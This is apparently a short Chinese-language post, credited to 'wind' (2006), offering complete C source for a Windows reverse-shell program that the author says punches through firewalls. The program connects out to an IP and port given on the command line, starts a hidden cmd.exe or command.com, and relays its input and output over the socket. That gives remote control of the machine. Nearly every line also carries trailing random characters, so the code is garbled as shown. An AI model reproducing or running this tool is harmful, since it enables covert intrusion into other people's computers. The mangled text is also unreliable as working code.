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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B?VhIP e  
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/* ============================== NvM*h%ChM  
Rebound port in Windows NT "#mBcQ;QLV  
By wind,2006/7 }b1cLchl  
===============================*/ >#ZUfm{k$  
#include (EPsTox  
#include EpQ8a[<-3  
XMG]Wf^%\<  
#pragma comment(lib,"wsock32.lib") 8H[:>;S I  
Z{?G.L*/  
void OutputShell(); o1nURJ!  
SOCKET sClient; V I% 6.6D  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |bgo;J/  
x@8a''  
void main(int argc,char **argv) P2 Vg4   
{ G[jW<'f  
WSADATA stWsaData; hy|b6wF&  
int nRet; fhB}9i^]tg  
SOCKADDR_IN stSaiClient,stSaiServer; O12eH  
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if(argc != 3) .F+@B\A<  
{ U*.0XNKp{  
printf("Useage:\n\rRebound DestIP DestPort\n"); Sna4wkbS  
return; <FZ@Q[RP  
} +}jJ&Z9 )  
W`^@)|9^)  
WSAStartup(MAKEWORD(2,2),&stWsaData); kQ]$%Lk[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vm>b m  
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stSaiClient.sin_family = AF_INET; V')0 Mr  
stSaiClient.sin_port = htons(0); qW b+r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); V^;jJ']  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m#=z7.XrX  
{ DK}"b}Fvq  
printf("Bind Socket Failed!\n"); /hO1QT}xd  
return; jlxpt)0i  
} K(aJi,e>  
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stSaiServer.sin_family = AF_INET; E lUEteZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0Lb4'25.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D_Bb?o5  
o=1X^,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -IV]U*4  
{ zl`h~}I  
printf("Connect Error!"); 9?k_y ZV  
return; @e{^`\l=<  
} 3 h<,  
OutputShell(); #Qkroji qw  
} x#:| }pR  
#Skv(IL  
void OutputShell() <m'ow  
{ c_>f0i  
char szBuff[1024]; GAAm0;  
SECURITY_ATTRIBUTES stSecurityAttributes; Fgh]KQ/5  
OSVERSIONINFO stOsversionInfo; &ot/nQQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1x,tu}<u^  
STARTUPINFO stStartupInfo; h;0S%ZC  
char *szShell; K^R,Iu/M  
PROCESS_INFORMATION stProcessInformation; ."Y e\>k  
unsigned long lBytesRead; 0P]E6hWgg  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ()H:UvM=t  
> %KuNy{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^urDoB:  
stSecurityAttributes.lpSecurityDescriptor = 0; }-@`9(o`)  
stSecurityAttributes.bInheritHandle = TRUE; m?&1yU9  
}m-FGk  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5>TK^1 :  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &>Vfa  
k]I0o)+O.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2rZx Sg  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &ZQJ>#~j^  
stStartupInfo.wShowWindow = SW_HIDE; 3=L.uXVb  
stStartupInfo.hStdInput = hReadPipe; q?ix$nKOv  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .AU)*7Gh  
M^]cM(swK5  
GetVersionEx(&stOsversionInfo); @|tL8?  
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switch(stOsversionInfo.dwPlatformId) qQH]`#P  
{ U,.![TP  
case 1: )<Hd T  
szShell = "command.com"; Alxx[l\<J  
break; QMpoa5ZQG  
default: L{`JRu  
szShell = "cmd.exe"; BGu?<bET  
break; *~x/=.}  
} pLzk   
yiA<,!;4P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Dv/WE>?Aw  
-Zz$~$  
send(sClient,szMsg,77,0); ?%y?rk <  
while(1) D= h)&  
{ t0T"@t#c  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UCClWr  
if(lBytesRead) 82DmG@"s2  
{ >lIk9|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X.e7A/ClEo  
send(sClient,szBuff,lBytesRead,0); +@/"%9w  
} >L 0_dvr  
else ]V#M%0:Q82  
{ v3jg~"!  
lBytesRead=recv(sClient,szBuff,1024,0); bG(3^"dS  
if(lBytesRead<=0) break; Z KckAz\#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O~^"  
} McQe1  
} w2'f/  
e;[F\ov %  
return; TTTPxO,  
}
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